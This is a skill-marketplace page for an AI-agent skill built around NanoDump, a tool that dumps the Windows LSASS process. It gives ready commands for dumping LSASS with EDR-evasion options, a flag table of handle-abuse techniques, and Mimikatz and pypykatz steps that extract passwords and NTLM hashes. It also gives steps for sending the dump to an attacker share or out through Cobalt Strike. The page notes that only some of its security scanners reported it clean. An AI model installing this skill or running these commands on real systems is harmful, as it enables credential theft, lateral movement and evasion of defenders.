offensive-tools/windows/nanodump/SKILL.md
Auth/lab ref: NanoDump LSASS acquisition research; handle, fork, minidump, BOF/DLL formats, Windows lab validation and detection evidence.
npx skillsauth add aeondave/malskill nanodumpInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Stealthy LSASS minidump tool — syscalls + fork-based techniques to bypass modern EDR solutions.
nanodump creates a minidump of the LSASS process using:
The resulting .dmp can be parsed with Mimikatz offline.
# Basic dump via LSASS fork (most stealthy)
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp
# Dump with write to file via syscall
nanodump.exe --write C:\Windows\Temp\lsass.dmp
# BOF usage in Cobalt Strike
inline-execute nanodump.o --fork --write lsass.dmp
| Flag | Description |
|------|-------------|
| --write <path> | Write dump to file path |
| --fork | Fork LSASS before dumping (stealth) |
| --snapshot | Use process snapshot (NtCreateProcessEx) |
| --dup | Duplicate LSASS handle from another process |
| --elevate-handle | Elevate handle via existing handle in another proc |
| --silent-process-exit | Use SilentProcessExit to dump |
| --pid <n> | Specify LSASS PID manually |
| --sec-logon | Use secondary logon handle |
| --malseclogon | Abuse MalSecLogon technique |
| --help | Show all options |
# Transfer dump to Linux and parse with pypykatz
pypykatz lsa minidump lsass.dmp
# Parse on Windows with Mimikatz
mimikatz.exe
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords
# Extract NTLM hashes only
pypykatz lsa minidump lsass.dmp -o hashes.txt
# Stealthiest: fork + write to temp
nanodump.exe --fork --write C:\Windows\Temp\lsass.dmp
# Transfer dump to attacker
# Via Cobalt Strike: download C:\Windows\Temp\lsass.dmp
# Via SMB: copy lsass.dmp \\attacker\share\
# Parse on Kali
pypykatz lsa minidump lsass.dmp
# Use in CS as BOF
inline-execute nanodump.o --fork --write lsass.dmp
download lsass.dmp
--fork avoids direct LSASS access — EDR sees fork process, not LSASS dumpC:\Windows\Temp\lsass.dmp is monitored)| File | When to load |
|------|--------------|
| references/lsass-techniques.md | All LSASS dump techniques, pypykatz parsing, hash extraction, detection landscape |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.